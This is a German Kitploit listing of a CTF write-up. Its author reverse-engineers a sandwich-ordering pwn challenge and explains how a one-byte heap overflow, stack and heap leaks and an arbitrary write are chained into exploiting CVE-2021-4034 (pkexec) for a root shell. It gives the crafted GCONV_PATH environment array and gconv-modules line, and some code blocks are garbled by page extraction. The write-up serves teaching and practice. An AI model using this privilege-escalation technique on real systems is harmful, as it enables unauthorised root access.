Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-4034-CTF-writeup — CTF pwn challenge writeup, der CVE-2021-4034 (pkexec) mittels Heap-Manipulation ausnutzt, mit Ghidra-basiertem Reverse Engineering und einer benutzerdefinierten shelly.so-Hilfsbinärdatei. | Kitploit
Tools/GitHubGitHub/wechicken456/cve-2021-4034-ctf-writeup
ExploitationReverse EngineeringCTFLernen & BildungBinary-ExploitationLabs & Praxis
GitHubwechicken456/cve-2021-4034-ctf-writeup

CVE-2021-4034-CTF-writeup

CTF pwn challenge writeup, der CVE-2021-4034 (pkexec) mittels Heap-Manipulation ausnutzt, mit Ghidra-basiertem Reverse Engineering und einer benutzerdefinierten shelly.so-Hilfsbinärdatei.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Repository anzeigen
25vor 2 JahrenNoch nicht geprüft
Teilen

CVE-2021-4034-CTF-writeup

Dies ist eine CTF-Pwn-Challenge, die ich in C geschrieben habe und die vom Benutzer erfordert, die CVE-2021-4034-Schwachstelle auszunutzen. Die Spieler erhalten 2 Binärdateien im challenge-Verzeichnis in diesem Repository. Die chal-Binärdatei implementiert die CTF-Challenge und shelly.so ist eine Hilfsbinärdatei.

So emuliert man diese Challenge

Zum Zeitpunkt der Erstellung dieses Writeups ist das Dockerfile noch nicht vollständig. Das Dockerfile ist erforderlich, um diese Challenge während eines Live-CTFs bereitzustellen, aber nicht lokal: Sie können diese Challenge dennoch lokal emulieren, indem Sie die Benutzerberechtigungen einrichten und die anfälligen Pakete wie folgt installieren:

  1. Um diese Schwachstelle erfolgreich auszunutzen, sollten Spieler, die sich nicht auf einer Linux-Maschine befinden, zuerst eine Linux-VM installieren. Dann müssen Sie einen anfälligen Kernel installieren. Anleitung dazu: [https://askubuntu.com/a/700221]
  2. Installieren Sie die Pakete libpolkit-gobject-1-0=0.105-26ubuntu1 libpolkit-agent-1-0=0.105-26ubuntu1 policykit-1=0.105-26ubuntu1.
  3. Erstellen Sie eine flag.txt-Datei, die gehört, im aktuellen Verzeichnis.
root:root
  • Erstellen Sie einen unprivilegierten Benutzer. Wechseln Sie zu diesem Benutzer.
  • Laden Sie die Dateien im challenge-Ordner in das aktuelle Verzeichnis herunter.
  • Führen Sie chal als unprivilegierter Benutzer aus.
  • Blindanalyse

    Das Ausführen der chal-Binärdatei gibt uns eine vage Vorstellung davon, was diese Binärdatei tut:``` WELCOME TO THE HUB CTRL+ALT+DELICIOUS We're not just a sandwich hub. We are the beacon of flavors, serving a symphony in every byte

    1. ENTER THE HUB
    2. QUIT 1 Order number: 0x7ffde93681f0 Enter your name: tin
    3. ADD NEW ORDER
    4. EDIT ORDER
    5. SHOW ORDER
    6. CANCEL ORDER
    7. CHECKOUT
    8. DONE 1 Pick your bread: aaaa Select your spread: bbbb Choose your veg: cccc Slam your meat & egg: dddc Any side notes for the cook? 0000
    9. ADD NEW ORDER
    10. EDIT ORDER
    11. SHOW ORDER
    12. CANCEL ORDER
    13. CHECKOUT
    14. DONE 1 Pick your bread: AAAA Select your spread: BBBB Choose your veg: CCCC Slam your meat & egg: DDDD Any side notes for the cook? 1111
    15. ADD NEW ORDER
    16. EDIT ORDER
    17. SHOW ORDER
    18. CANCEL ORDER
    19. CHECKOUT
    20. DONE 3 Enter order index: 0 aaaa, bbbb, cccc, dddc, 0000
    21. ADD NEW ORDER
    22. EDIT ORDER
    23. SHOW ORDER
    24. CANCEL ORDER
    25. CHECKOUT
    26. DONE 3 Enter order index: 1 AAAA, BBBB, CCCC, DDDD, 1111
    27. ADD NEW ORDER
    28. EDIT ORDER
    29. SHOW ORDER
    30. CANCEL ORDER
    31. CHECKOUT
    32. DONE 4 Enter order index: 1
    33. ADD NEW ORDER
    34. EDIT ORDER
    35. SHOW ORDER
    36. CANCEL ORDER
    37. CHECKOUT
    38. DONE 3 Enter order index: 1 Invalid index!
    39. ADD NEW ORDER
    40. EDIT ORDER
    41. SHOW ORDER
    42. CANCEL ORDER
    43. CHECKOUT
    44. DONE 5 /notes ./tin/notes
    45. ADD NEW ORDER
    46. EDIT ORDER
    47. SHOW ORDER
    48. CANCEL ORDER
    49. CHECKOUT
    50. DONE 6
    51. ENTER THE HUB
    52. QUIT 2 Come again :)
    root@kitploit:~
    Spielt man mit der Eingabegröße in der `Add`-Funktion und den Indizes der `Cancel`-Funktionen herum, erhält man nichts Besonderes (kein Überlauf oder Segmentierungsfehler). Dennoch ein paar interessante Dinge:
      - Es scheint, als ob die Bestellungen in einer Liste (vielleicht einer verketteten Liste) abgelegt werden und sie 0-indexiert sind?
      - Es gibt diese `Bestellnummer: 0x7ffde93681f0`, die offenbar eine Speicherstelle auf dem Stack ausgibt?
      - Außerdem erstellt das Programm ein Verzeichnis mit unserem Eingabenamen zusammen mit 3 ausführbaren Dateien, von denen eine die uns gegebene Hilfsbinärdatei ist:```sh
    peasant@Tin-VM:~/Desktop$ ls
    chal  chal.c  Dockerfile shelly.so  solve.py  tin
    peasant@Tin-VM:~/Desktop$ ls -l tin/
    total 28
    -rwxrwx--- 1 peasant vboxsf     5 Feb  4 14:33 notes
    -rwxrwx--- 1 peasant vboxsf    20 Feb  4 14:33 recipe
    -rwxr-x--- 1 peasant vboxsf 16488 Feb  4 14:33 shelly.so
    peasant@Tin-VM:~/Desktop$ cat tin/notes 
    0000
    peasant@Tin-VM:~/Desktop$ cat tin/recipe 
    aaaa
    bbbb
    cccc
    dddc
    
    

    Die ausführbaren Dateien enthalten unsere Eingabe.


    Ghidra-Analyse

    Sie können mit den anderen Funktionen herumspielen und hoffen, auf einige Fehler zu stoßen (was wahrscheinlich ist), aber ich komme direkt zur Sache und öffne das Programm in Ghidra.

    Beim Vergleichen der Zeichenfolgen, die während der Programmausführung erscheinen, und der Zeichenfolgen, die in Ghidra vorhanden sind, können wir einige der FUN_*-Funktionen in vertraute Namen umbenennen:```C undefined8 main(void)

    { int iVar1; size_t sVar2; undefined2 *puVar3; long in_FS_OFFSET; int opt; int local_1c; char *local_18; long local_10;

    local_10 = *(long *)(in_FS_OFFSET + 0x28); local_18 = "/recipe"; print("WELCOME TO THE HUB CTRL+ALT+DELICIOUS\n"); print( "We're not just a sandwich hub. We are the beacon of flavors, serving a symphony in every by te\n\n" ); while( true ) { print("1. ENTER THE HUB\n"); print("2. QUIT\n"); __isoc99_scanf(&DAT_001030c5,&opt); getc(stdin); if (opt != 1) break; printf("Order number: %p\n",&local_18); print("Enter your name: "); __isoc99_scanf(&DAT_0010334f,&DAT_00105120); sVar2 = strlen(&DAT_00105120); puVar3 = (undefined2 *)malloc(sVar2 + 2); DAT_00105100 = puVar3; *puVar3 = 0x2f2e; *(undefined *)(puVar3 + 1) = 0; strcpy((char *)(DAT_00105100 + 1),&DAT_00105120); iVar1 = FUN_001022f0(DAT_00105100,&DAT_00105060); if (iVar1 == -1) { mkdir((char *)DAT_00105100,0x1c0); } DAT_00105140 = 0; order_cnt = 0; for (local_1c = 0; local_1c < 10; local_1c = local_1c + 1) { *(undefined8 *)(&ptr_array + (long)local_1c * 8) = 0; } main_menu(); } print("Come again :)\n");

    root@kitploit:~
    Das `printf("Order number: %p\n",&local_18);` **gibt einen Speicherort einer lokalen Variable auf dem Stack aus.**
    
    Eine schnelle Überprüfung in gdb zeigt uns, dass die geleakte Adresse die Adresse des Zeigers auf die konstante Zeichenkette `/recipe` ist:```gdb
    ...
    Order number: 0x7fffffffdfc0
    ...
    gef➤  x/gx 0x7fffffffdfc0
    0x7fffffffdfc0:	0x0000555555559020
    gef➤  x/s 0x0000555555559020
    0x555555559020:	"/recipe"
    

    Wir sehen einen mkdir-Aufruf, der ein Verzeichnis mit unserem eingegebenen Namen im aktuellen Verzeichnis erstellt.

    Dies stimmt mit unserer Beobachtung überein, als wir das Programm ausgeführt haben. Dann initialisiert es einige Variablen, bevor es die Funktion main_menu aufruft, die etwa so aussieht:```C while( true ) { while( true ) { while( true ) { while( true ) { while( true ) { while( true ) { print("1. ADD NEW ORDER\n"); print("2. EDIT ORDER\n"); print("3. SHOW ORDER\n"); print("4. CANCEL ORDER\n"); print("5. CHECKOUT\n"); print("6. DONE\n"); __isoc99_scanf(&DAT_001030c5,&local_40); getc(stdin); if (local_40 != 1) break; add_order(); } if (local_40 != 2) break; edit_order(); } if (local_40 != 3) break; show_order(); } if (local_40 != 4) break; cancel_order(); } if (local_40 != 5) break; checkout(); } if (local_40 == 6) break; if (local_40 == 0x539) { print( "\nGORDON RAMSAY: Finally, a worthy opponent, our battle will be legendary! I BET YOU CAN 'T GUESS THE SECRET RECIPE.\n" ); fgets(inp,0x20,stdin); getrandom(random-bytes,0x10,0); for (local_3c = 0; local_3c < 0x10; local_3c = local_3c + 1) { if (inp[local_3c] != random-bytes[local_3c]) { print("...Nuh Uh!...\n"); /* WARNING: Subroutine does not return */ exit(0); } print("...Ooh Yes.. sCruMpTioUs..."); } print("Fine... I'll give you a taste.\n"); FUN_00101504(); }

    root@kitploit:~
    Falls du mit REV nicht vertraut bist: Dies ist die Dekompilierung für die `switch`-Anweisung in C. Es gibt eine interessante Option alias `0x539`. Sie erlaubt es den Spielern, `0x10` zufällige Bytes zu erraten. Wenn alle Bytes gleich sind, wird `FUN_00101504();` aufgerufen, das wiederum `system("cat flag.txt");` aufruft. Ansonsten beendet sich das Programm. Allerdings ist das Erraten von 16 zufälligen Bytes gleichbedeutend mit dem Durchspielen aller 256**16 = 340282366920938463463374607431768211456 Möglichkeiten. Viel Glück dabei lol. Selbst wenn man alle Möglichkeiten durchspielt, ist das Programm immer noch unprivilegiert, sodass es die Flagge nicht lesen kann. Diese `cat flag.txt`-Anweisung ist absichtlich eingebaut, nicht nur um unerfahrene Spieler dazu zu verleiten, diese `0x539`-Menüoption zu wählen, sondern auch um zu verhindern, dass die Spieler einfach diese Funktion aufrufen, um die Flagge zu lesen – worauf wir später noch eingehen werden.
    ***
    ## Hinzufügen```C
      int iVar1;
      undefined8 *puVar2;
      void *pvVar3;
      undefined8 *ptr2;
      
      if (order_cnt < 10) {
        puVar2 = (undefined8 *)malloc(0x30);
        print("Pick your bread: ");
        readline(puVar2 + 1,8);
        print("Select your spread: ");
        readline(puVar2 + 2,8);
        print("Choose your veg: ");
        readline(puVar2 + 3,8);
        print("Slam your meat & egg: ");
        readline(puVar2 + 4,9);
        iVar1 = order_cnt;
        pvVar3 = malloc(0x30);
        *(void **)(&ptr_array + (long)iVar1 * 8) = pvVar3;
        *puVar2 = *(undefined8 *)(&ptr_array + (long)order_cnt * 8);
        print("Any side notes for the cook? ");
        readline(*puVar2,0x30);
        puVar2[5] = 0;
        if (DAT_00105140 != (undefined8 *)0x0) {
          for (ptr2 = DAT_00105140; ptr2[5] != 0; ptr2 = (undefined8 *)ptr2[5]) {
          }
          ptr2[5] = puVar2;
          puVar2 = DAT_00105140;
        }
        DAT_00105140 = puVar2;
        order_cnt = order_cnt + 1;
      }
    ...
    

    Wenn einige der Variablen für Sie nicht leicht lesbar aussehen, liegt es daran, dass ich mir die Zeit genommen habe, sie in diese umzubenennen, was Sie beim Reverse Engineering tun sollten, um den Überblick zu behalten. Also, kommen wir zu den Hauptpunkten:

    • puVar2 ist ein malloc-Chunk, der 0x30 groß ist.
    • Das 0-te Feld ist der puVar3-Zeiger, der 8 Byte lang ist und auf die notes des aktuellen Chunks zeigt.
    • Die nächsten 4 Felder sind jeweils 8 Byte lang, obwohl wir 9 Bytes in das 4. Feld lesen können, sodass wir 1 Byte in das 5. Feld überlaufen lassen können.
    • Allerdings überschreibt die Zeile puVar2[5] = 0; unseren 1-Byte-Überlauf trotzdem mit NULL.
    • Dann, wenn die globale Variable DAT_00105140 == 0 ist, setzen wir sie einfach auf den neuen Chunk, also könnte dies ein head-Zeiger für die Liste sein?
    • Andernfalls iterieren wir bis zum letzten Chunk in der aktuellen Liste und setzen dessen 5. Feld auf den neuen Chunk. => Das 5. Feld ist der Zeiger auf den nächsten Chunk in der verketteten Liste.

    Edit```C

    ... print("Enter order index: "); __isoc99_scanf(&DAT_001030c5,&local_20); getc(stdin); if ((local_20 < 0) || (order_cnt <= local_20)) { print("Invalid index!\n"); } else { local_18 = head; for (local_1c = 0; local_1c != local_20; local_1c = local_1c + 1) { local_18 = (undefined8 *)local_18[5]; } print("Pick your bread: "); readline(local_18 + 1,8); print("Select your spread: "); readline(local_18 + 2,8); print("Choose your veg: "); readline(local_18 + 3,8);WE print("Slam your meat & egg: "); readline(local_18 + 4,9); print("Any side notes for the cook? "); readline(*local_18,0x30); } ...

    root@kitploit:~
    Es gibt eine Überprüfung unseres Eingabeindex, daher können wir nicht an beliebigen Stellen bearbeiten. 
    
    **Allerdings ist der 9-Byte-Lesevorgang im 4. Feld, der 1 Byte in das 5. Feld überläuft, immer noch vorhanden!!! Wir können 1 Byte in den `nxt`-Zeiger überschreiben.**
    ***
    ## Anzeigen```C
    ...
        if (local_18 != (undefined8 *)0x0) {
          printf("%s, %s, %s, %s, %s\n",local_18 + 1,local_18 + 2,local_18 + 3,local_18 + 4,*local_18);
        }
    ...
    

    %s wird bis zum NULL-Zeichen ausgeben, wenn also unser 4. Feld 8 Byte lang ist, dann gibt das 4. %s das 4. Feld unseres Chunks plus den Zeigerwert nxt im 5. Feld aus. => Wir bekommen einen heap leak!!!


    Abbrechen

    Hier gibt es nichts Interessantes.


    Kasse```C

    strcpy(local_d8,dir_name); sVar2 = strlen(dir_name); strcpy(local_d8 + sVar2,"/recipe"); creat(local_d8,0x1c0); iVar1 = open(local_d8,2); if (iVar1 == -1) { print("Error opening file f.\n"); /* WARNING: Subroutine does not return / exit(0); } chmod(local_d8,0x1f8); strcpy(local_98,dir_name); sVar2 = strlen(dir_name); strcpy(local_98 + sVar2,"/notes"); printf("%s %s\n","/notes",local_98); creat(local_98,0x1c0); __fd = open(local_98,2); if (__fd == -1) { print("Error opening file f_notes.\n"); / WARNING: Subroutine does not return */ exit(0); } chmod(local_98,0x1f8);

    root@kitploit:~
    Also erstellt es die Dateien `recipe` und `notes` im Verzeichnis mit unserem Eingabenamen. Die `chmod`-Anweisungen setzen diese Dateien in den ausführbaren Modus: `0x1f8` und `0x1c0` sind `0700` bzw. `0770` im Oktalsystem.```C
    ...
      for (local_ec = 0; (local_e0 != (char **)0x0 && (local_ec < order_cnt)); local_ec = local_ec + 1)
      {
        sVar2 = strlen((char *)(local_e0 + 1));
        write(iVar1,local_e0 + 1,sVar2);
        write(iVar1,&DAT_00103127,1);
        sVar2 = strlen((char *)(local_e0 + 2));
        write(iVar1,local_e0 + 2,sVar2);
        write(iVar1,&DAT_00103127,1);
        sVar2 = strlen((char *)(local_e0 + 3));
        write(iVar1,local_e0 + 3,sVar2);
        write(iVar1,&DAT_00103127,1);
        sVar2 = strlen((char *)(local_e0 + 1));
        write(iVar1,local_e0 + 4,sVar2);
        write(iVar1,&DAT_00103127,1);
        sVar2 = strlen(*local_e0);
        write(__fd,*local_e0,sVar2);
        write(__fd,&DAT_00103127,1);
        local_e0 = (char **)local_e0[5];
      }
      iVar1 = close(iVar1);
      if (-1 < iVar1) {
        iVar1 = close(__fd);
        if (-1 < iVar1) {
          local_58 = 0x2f706d742f207063;
          local_50 = 0x732e796c6c656873;
          local_48 = 0x206f;
          local_40 = 0;
          local_38 = 0;
          local_30 = 0;
          local_28 = 0;
          local_20 = 0;
          strcpy((char *)((long)&local_48 + 2),dir_name);
          system((char *)&local_58);
          if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                        /* WARNING: Subroutine does not return */
            __stack_chk_fail();
          }
          return;
        }
      }
    ...
    

    Dieser riesige, unübersichtliche Codeblock schreibt im Wesentlichen den Inhalt unserer Chunks in diese Dateien und führt dann den Befehl cp /tmp/shelly.so dir_name aus, wobei dir_name der Name ist, den wir dem Programm am Anfang geben.


    FUN_00101e84```C

    void FUN_00101e84(void)

    { long in_FS_OFFSET; char *local_18; long local_10;

    local_10 = *(long *)(in_FS_OFFSET + 0x28); puts("HOLD UP, LET HIM COOK."); local_18 = (char *)0x0; execve("/usr/bin/pkexec",&local_18,(char **)&ptr_array); if (local_10 != *(long )(in_FS_OFFSET + 0x28)) { / WARNING: Subroutine does not return */ __stack_chk_fail(); } return; }

    root@kitploit:~
    Dies ist eine interessante Funktion. Sie ruft `pkexec` mit einem `NULL argv` und dem `notes`-Array-Zeiger als Umgebungsvariablen auf, was der anfällige Befehl in unserer CVE-2021-4034 ist. Deutet dies darauf hin, dass wir unsere `notes` gestalten und die Ausführung irgendwie auf diese Funktion umleiten müssen?
    
    ***
    ## shelly.so
    Wenn wir dies in Ghidra öffnen, erfahren wir, dass es sich offensichtlich um eine `set-UID-root`-Bibliothek handelt, ähnlich denen, die im CVE-Exploit verwendet wurden.
    
    ***
    # Zusammenfassung
    Einige wichtige Punkte:
    1. Wir haben zu Beginn des Programms einen Stack-Leck (Ordnungsnummer), der die Adresse des konstanten Strings `/recipe` enthält, der beim Erstellen der Datei `recipe` verwendet wird.
    2. Das 0. Feld eines Chunks ist sein `notes`-Zeiger.
    3. Das 5. Feld eines Chunks ist der `nxt`-Zeiger auf den nächsten Chunk in der verketteten Liste.
    4. `Show` kann eine Heap-Adresse leaken, die das 5. Feld in einem Chunk ist.
    5. `Edit` kann 1 Byte in das 5. Feld überschreiben. **DAS IST DER EINZIGE ARBITRARY WRITE BUG!!**
    6. `FUN_00101e84` ruft `pkexec` mit NULL argv und den Umgebungsvariablen, die wir kontrollieren (`notes`-Array), auf.
    
    ***
    
    # Exploitation
    
    ## Heap-Chunk-Layout
    Eine schnelle Überprüfung in gdb kann uns den Offset zwischen verschiedenen Chunks in unserem Programm mitteilen:```gdb
    ...
    Pick your bread: aaaa
    Select your spread: a
    Choose your veg: a
    Slam your meat & egg: a
    Any side notes for the cook? 0000
    1. ADD NEW ORDER
    2. EDIT ORDER
    3. SHOW ORDER
    4. CANCEL ORDER
    5. CHECKOUT
    6. DONE
    1
    Pick your bread: bbbb
    Select your spread: b
    Choose your veg: b
    Slam your meat & egg: b
    Any side notes for the cook? 1111
    ...
    gef➤  search-pattern aaaa
    [+] Searching 'aaaa' in memory
    [+] In '[heap]'(0x55555555a000-0x55555557b000), permission=rw-
      0x55555555aae8 - 0x55555555aaec  →   "aaaa" 
    gef➤  x/30gx 0x55555555aae8-0x18
    0x55555555aad0:	0x0000000000000000	0x0000000000000041
    0x55555555aae0:	0x000055555555ab20	0x0000000061616161
    0x55555555aaf0:	0x0000000000000061	0x0000000000000061
    0x55555555ab00:	0x0000000000000061	0x000055555555ab60
    0x55555555ab10:	0x0000000000000000	0x0000000000000041
    0x55555555ab20:	0x0000000030303030	0x0000000000000000
    0x55555555ab30:	0x0000000000000000	0x0000000000000000
    0x55555555ab40:	0x0000000000000000	0x0000000000000000
    0x55555555ab50:	0x0000000000000000	0x0000000000000041
    0x55555555ab60:	0x000055555555aba0	0x0000000062626262
    0x55555555ab70:	0x0000000000000062	0x0000000000000062
    0x55555555ab80:	0x0000000000000062	0x0000000000000000
    0x55555555ab90:	0x0000000000000000	0x0000000000000041
    0x55555555aba0:	0x0000000031313131	0x0000000000000000
    0x55555555abb0:	0x0000000000000000	0x0000000000000000
    

    Die Chunks haben also eine Größe von 0x40 (einschließlich 0x10 Bytes Metadaten) und sind (vom Beginn des aktuellen Chunks bis zum Beginn des nächsten Chunks) durch einen Offset von 0x40+0x40 = 0x80 getrennt. Dies liegt daran, dass die notes bei jeder Zuweisung eines Chunks allokiert werden und somit immer zwischen aufeinanderfolgenden Chunks liegen.

    Schreiben an eine beliebige Adresse

    Bevor wir zum Exploit springen, wie missbrauchen wir die 1-Byte-Überlauffehler, um an eine beliebige Adresse zu schreiben? Wir können die folgende Strategie anwenden:

    1. Allokiere 3 Chunks A, B, C.
    2. Leake den nxt-Zeiger des 2. Chunks (2. Punkt im Zusammenfassung-Abschnitt).
      • Die geleakte Adresse (welche der nächste Chunk ist) ist C.
      • Dann ist die Adresse des aktuellen Chunks B = C-0x80.
      • Sei das NIEDRIGSTWERTIGE Byte von B x.
    3. Überschreibe das 1 Byte x + 8 in das 5. Feld des aktuellen Chunks. Der resultierende nxt-Zeiger wird B + 8 sein.
      • Wir müssen hier vorsichtig sein: Unter Verwendung des Speicherausschnitts oben, wenn wir den aktuellen Chunk als den ersten bezeichnen, also A = 0x55555555aae0, dann wäre die geleakte Adresse B = 0x55555555ab60 und x = 0xe8.
      • Wenn wir das letzte Byte in das 5. Feld von A bei 0x55555555ab08 mit x überschreiben, wird der resultierende nxt-Zeiger `0x55555555abe8 != 0x55555555aae8 sein, was nicht das ist, was wir wollten.
      • Daher müssen wir einen aktuellen Chunk und den nächsten Chunk so wählen, dass ihr 2. NIEDRIGSTWERTIGES Byte identisch ist.
    4. Jetzt ist der 3. Chunk also bei B + 8 anstelle von C. Bearbeite Chunk B, sodass sein erstes (bread) Feld die target-Adresse enthält, in die wir schreiben möchten.
    5. Bearbeite den 3. Chunk, was den Inhalt ab B + 8 überschreibt. Der notes-Zeiger dieses 3. Chunks ist das target! Also wird alles, was wir in notes schreiben, in target geschrieben!

    1. Möglichkeit – Springen zu "cat flag.txt"

    Es gibt eine Möglichkeit, zu dieser Funktion zu springen, die ich nicht diskutieren werde. Aber bevor du das versuchst, wirf einen Blick auf die Dockerfile. Fällt dir etwas an flag.txt auf?``` ... chown root:root /home/ctf/flag.txt ... USER peasant CMD ["/home/ctf/start.sh"]

    root@kitploit:~
    ***ES GEHÖRT ROOT, WÄHREND DAS PROGRAMM VON EINEM UNPRIVILEGIERTEN BENUTZER AUSGEFÜHRT WIRD UND IHM GEHÖRT***.
    Also selbst wenn du „cat flag.txt“ ausführst, wird es die Flagge nicht ausgeben, da das Programm keine Berechtigung hat, auf die Datei zuzugreifen. Das bedeutet, dass wir zu root eskalieren müssen, um die Flagge zu lesen.
    ## 2. Weg – CVE-2021-4034
    Um CVE-2021-4034 auszunutzen, benötigen wir folgendes Setup:
    1. Ein Verzeichnis mit dem Namen `GCONV_PATH=.`
    2. In diesem Verzeichnis benötigen wir eine ausführbare Datei, die den Namen des Verzeichnisses trägt, in dem sich unsere `gconv-modules`-Konfigurationsdatei befinden wird. Nennen wir dies in unserer Challenge `recipe`.
    3. Im Verzeichnis `recipe` benötigen wir eine Datei namens `gconv-modules` mit von uns kontrolliertem Inhalt und eine dynamische Bibliothek, die eine Shell startet (vielleicht ist dies die mitgelieferte Binärdatei `shelly.so`?).
    4. Dann müssen wir in unserer `gconv-modules` den gleichen CHARSET wie in Schritt 5 unten und den Namen unserer dynamischen Bibliothek `shelly.so` angeben, wie folgt: `module UTF-8// SHELLY// shelly 2`.
    5. Nach all dem rufen wir `pkexec` mit NULL argv und dem manipulierten Umgebungsvariablen-Array auf: `{"recipe", "PATH=GCONV_PATH=.", "CHARSET=SHELLY", "SHELL=shelly", NULL}`.
    
    Nun nutzen wir diese Challenge aus, um das obige Setup zu erreichen.
    
    ***
    ### Ziel 1–2
    Die Schritte 1–2 sind einfach: Wir müssen uns nur mit einem Benutzernamen `GCONV_PATH=.` anmelden, um dieses Verzeichnis zu erstellen. Dann führen wir ein `checkout` aus, um die ausführbare Datei `recipe` in diesem Verzeichnis zu erstellen. Dann kehren wir zum ersten Menü zurück.
    ***
    ### Ziel 3–4
    Wir melden uns mit dem Benutzernamen `recipe` an, um dieses Verzeichnis zu erstellen. Jetzt *müssen* wir eine Datei namens `gconv-modules` erstellen, aber `checkout` erstellt nur die Dateien `recipe` und `notes`.
    
    Was wäre, wenn wir den Speicherort für den String `/notes` überschreiben würden, um ihn zu `/gconv-modules` zu machen? Das könnte funktionieren, erfordert aber, dass dieser Speicher beschreibbar ist. Schauen wir es uns in gdb an:```gdb
    gef➤  search-pattern /notes
    [+] Searching '/notes' in memory
    [+] In '/home/peasant/Desktop/chal'(0x555555559000-0x55555555a000), permission=rw-
      0x555555559010 - 0x555555559016  →   "/notes" 
    

    Und sie ist beschreibbar!

    Wie führen wir das Schreiben durch?

    1. Wir verwenden die oben beschriebene Strategie des beliebigen Schreibens, um beliebig die Position der geleakten Stack-Adresse zu lesen. Dies gibt uns, wo /recipe liegt.
    2. Eine kurze Inspektion in gdb kann uns sagen, dass der Offset von /recipe zu /notes 0x10 beträgt. Subtrahiere dies von der /recipe-Adresse aus Schritt 1, um die /notes-Adresse zu erhalten.
    3. Verwende die oben beschriebene Strategie des beliebigen Schreibens, um /notes mit /gconv-modules zu überschreiben.

    Was das Schreiben des korrekten Inhalts in die Datei gconv-modules betrifft, wissen wir, dass beim checkout der notes-Inhalt der Chunks in /notes geschrieben wird, was jetzt /gconv-modules ist. Um sicherzugehen, können wir einfach den String module UTF-8// SHELLY// shelly 2 jedem notes geben.

    Wenn wir also checkout aufrufen, werden 2 Dateien recipe und gconv-modules erstellt und einige Zeilen mit module UTF-8// SHELLY// shelly 2 (wir verwenden shelly, weil das der Name der bereitgestellten .so-Datei mit set-uid-root ist) in die Datei gconv-modules geschrieben. Außerdem wird eine shelly.so in dasselbe Verzeichnis kopiert.

    Ziel 5

    1. Wir allozieren 4 Chunks, deren notes die entsprechenden Umgebungsvariablen sind. Das notes-Zeigerarray wird 4 Zeiger auf diese 4 notes und einen abschließenden NULL-Zeiger haben, was genau das ist, was wir wollten.
    2. Allozieren Sie zusätzliche Chunks und verwenden Sie dieselbe Strategie wie für Ziel 3-4, um den RIP für die main-Funktion mit unserer geheimen Funktion FUN_00101e84 zu überschreiben.
      • Woher wissen wir, wo der RIP ist? Erinnern Sie sich an unsere geleakte Stack-Adresse am Anfang des Programms? Gehen Sie in gdb, um deren Offset zum RIP zu ermitteln, und addieren Sie dann diesen Offset zur tatsächlichen geleakten Adresse, um den RIP zu erhalten.
      • Woher wissen wir, wo main ist? Erinnern Sie sich an unsere geleakte Adresse von /recipe aus Schritt 2 von Ziel 3-4? Machen Sie hier dasselbe!
    3. Viel Spaß mit Ihrer Shell :)

    Ein Lösungs-Skript mit Kommentaren ist in diesem Repository bereitgestellt. Bei Fragen können Sie mich gerne kontaktieren :)

    Tool herunterladen